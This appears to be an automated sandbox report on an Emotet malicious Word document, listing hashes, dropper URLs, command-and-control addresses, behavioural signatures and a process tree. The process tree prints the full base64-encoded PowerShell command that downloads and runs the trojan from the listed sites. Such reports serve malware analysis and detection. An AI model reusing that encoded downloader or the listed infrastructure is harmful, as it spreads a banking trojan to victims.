emotet | 6c9a9fe8a14e4fd6412da7cb62d2b7b0b648d8297d5fcdc035620a95ff1b2650

General

Target
emotet_e3_6c9a9fe8a14e4fd6412da7cb62d2b7b0b648d8297d5fcdc035620a95ff1b2650_2020-08-14__230529._doc.doc
Size 233KB
Sample200814-es6w7pg4dn
SHA256 6c9a9fe8a14e4fd6412da7cb62d2b7b0b648d8297d5fcdc035620a95ff1b2650
MD5 12ba2c849be6c3209dec4d93b16a2922
SHA1 51e53738df99c178c4ec27fc788b1fc67fa21325
SHA512 29ae58c7c457e17cd69aab07087fe45f1274fde588e7ef56919f846efbbc44ea1184436fe3ca4cc02b1938ca0c670ce52aa55e58296d09d88de4afd1ddbacb7f
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://kndesign.com.br/wwvv2/wPxxj0v53027676/
exe.dropper
http://load.studio/wp-admin/fqmCvt/
exe.dropper
http://melangefresh.com/partner/9lg91006/
exe.dropper
http://cengizgulec.com/wp-admin/wmZHHHARm/
exe.dropper
http://www.skydiarynepal.org/wp-admin/HWGaf/

Extracted

Family

emotet

C2

71.57.180.213:80
185.86.148.68:443
168.235.82.183:8080
181.113.229.139:443
181.134.9.162:80
217.199.160.224:8080
105.209.235.113:8080
216.75.37.196:8080
97.104.107.190:80
203.153.216.182:7080
107.161.30.122:8080
41.106.96.12:80
202.5.47.71:80
201.235.10.215:80
105.213.67.88:80
115.79.195.246:80
179.5.118.12:80
212.112.113.235:80
139.59.12.63:8080
177.37.81.212:443
81.17.93.134:80
46.32.229.152:8080
66.61.94.36:80
172.96.190.154:8080
176.9.93.82:7080
5.79.70.250:8080
190.212.140.6:80
37.46.129.215:8080
115.165.3.213:80
201.213.177.139:80
187.64.128.197:80
92.24.51.238:80
185.208.226.142:8080
50.116.78.109:8080
46.105.131.68:8080
181.114.114.203:80
190.190.15.20:80
198.57.203.63:8080
188.251.213.180:443
185.142.236.163:443
182.176.95.147:80
143.95.101.72:8080
181.164.110.7:80
113.161.148.81:80
51.38.201.19:7080
31.146.61.34:80
75.139.38.211:80
157.7.164.178:8081
203.153.216.178:7080
212.156.133.218:80
81.214.253.80:443
87.106.231.60:8080
190.164.75.175:80
77.74.78.80:443
179.62.238.49:80
78.189.60.109:443
177.32.8.85:80
195.201.56.70:8080
190.53.144.120:80
75.127.14.170:8080
177.144.130.105:443
178.33.167.120:8080
192.210.217.94:8080
192.241.220.183:8080
188.0.135.237:80
74.208.173.91:8080
182.187.139.200:8080
172.105.78.244:8080
41.185.29.128:8080
197.83.232.19:80
87.252.100.28:80
115.78.11.155:80
192.163.221.191:8080
91.83.93.103:443
139.99.157.213:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1780	900	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2324-14-0x0000000002290000-0x000000000229C000-memory.dmp	emotet
behavioral2/memory/2324-14-0x0000000002290000-0x000000000229C000-memory.dmp	emotet
behavioral2/memory/2608-17-0x00000000020E0000-0x00000000020EC000-memory.dmp	emotet
behavioral2/memory/2608-17-0x00000000020E0000-0x00000000020EC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
12	1780	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2324	Mgob.exe
2608	printui.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\msdart\printui.exe	Mgob.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3848	WINWORD.EXE
3848	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1780	powersheLL.exe
1780	powersheLL.exe
1780	powersheLL.exe
2608	printui.exe
2608	printui.exe
2608	printui.exe
2608	printui.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1780	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
3848	WINWORD.EXE
2324	Mgob.exe
2324	Mgob.exe
2608	printui.exe
2608	printui.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1780 wrote to memory of 2324	1780	powersheLL.exe	74
PID 1780 wrote to memory of 2324	1780	powersheLL.exe	74
PID 1780 wrote to memory of 2324	1780	powersheLL.exe	74
PID 2324 wrote to memory of 2608	2324	Mgob.exe	75
PID 2324 wrote to memory of 2608	2324	Mgob.exe	75
PID 2324 wrote to memory of 2608	2324	Mgob.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_6c9a9fe8a14e4fd6412da7cb62d2b7b0b648d8297d5fcdc035620a95ff1b2650_2020-08-14__230529._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3848

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAGMAdgB3AGYAbQBmAD0AJwBZAHoAagB5ADgAbQBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAFUAUgBpAHQAWQBwAFIATwBgAFQATwBgAGMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABVAGUAagBzAF8AOAAwACAAPQAgACcATQBnAG8AYgAnADsAJABGAGkAegBvAG4AYQBoAD0AJwBVAG4AOQBpAHEAbAByACcAOwAkAEIAaABkAGgANAA1AGoAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABVAGUAagBzAF8AOAAwACsAJwAuAGUAeABlACcAOwAkAFUAeQBsADEAYgAwAGkAPQAnAFAAdwBjAHEAMwAzAGkAJwA7ACQAVwB0AGEAZQB2AGwAcAA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAEUAYgBDAEwAaQBlAE4AdAA7ACQARgB4AF8AMAAxAGEANgA9ACcAaAB0AHQAcAA6AC8ALwBrAG4AZABlAHMAaQBnAG4ALgBjAG8AbQAuAGIAcgAvAHcAdwB2AHYAMgAvAHcAUAB4AHgAagAwAHYANQAzADAAMgA3ADYANwA2AC8AKgBoAHQAdABwADoALwAvAGwAbwBhAGQALgBzAHQAdQBkAGkAbwAvAHcAcAAtAGEAZABtAGkAbgAvAGYAcQBtAEMAdgB0AC8AKgBoAHQAdABwADoALwAvAG0AZQBsAGEAbgBnAGUAZgByAGUAcwBoAC4AYwBvAG0ALwBwAGEAcgB0AG4AZQByAC8AOQBsAGcAOQAxADAAMAA2AC8AKgBoAHQAdABwADoALwAvAGMAZQBuAGcAaQB6AGcAdQBsAGUAYwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdwBtAFoASABIAEgAQQBSAG0ALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBzAGsAeQBkAGkAYQByAHkAbgBlAHAAYQBsAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwBIAFcARwBhAGYALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFcAdgBsAHEAbwBnAGoAPQAnAEUAdgBuAHYAMgBhAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEUAbwA1AGYAZgBuAGoAIABpAG4AIAAkAEYAeABfADAAMQBhADYAKQB7AHQAcgB5AHsAJABXAHQAYQBlAHYAbABwAC4AIgBEAG8AVwBOAGwATwBgAEEARABmAEkAYABsAEUAIgAoACQARQBvADUAZgBmAG4AagAsACAAJABCAGgAZABoADQANQBqACkAOwAkAFcAawB6AHcAaQBuAG0APQAnAFoAdgA1ADMAMAAyADUAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABCAGgAZABoADQANQBqACkALgAiAGwAZQBOAGAARwBgAFQAaAAiACAALQBnAGUAIAAyADAAMgAxADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQAQgBoAGQAaAA0ADUAagApADsAJABNAG8ANwBfAGIAegB3AD0AJwBFAHUAcgB3AHkAbgB1ACcAOwBiAHIAZQBhAGsAOwAkAEwAdwByAGMAeABpAHMAPQAnAEIAcQA0AG4AcgBnAHAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgByAGoAeABtAHcANAA9ACcAQwBoAGIANQA3AHgAbAAnAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1780
- C:\Users\Admin\AppData\Local\Temp\Mgob.exe
  "C:\Users\Admin\AppData\Local\Temp\Mgob.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Windows\SysWOW64\msdart\printui.exe
    "C:\Windows\SysWOW64\msdart\printui.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2608

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1780-8-0x00007FFA92AB0000-0x00007FFA9349C000-memory.dmp

Download

memory/1780-9-0x000001C3A4BC0000-0x000001C3A4BC1000-memory.dmp

Download

memory/1780-10-0x000001C3A4D90000-0x000001C3A4D91000-memory.dmp

Download

memory/2324-14-0x0000000002290000-0x000000000229C000-memory.dmp

Download

memory/2608-17-0x00000000020E0000-0x00000000020EC000-memory.dmp

Download

memory/3848-0-0x00007FFA9A060000-0x00007FFA9A726000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads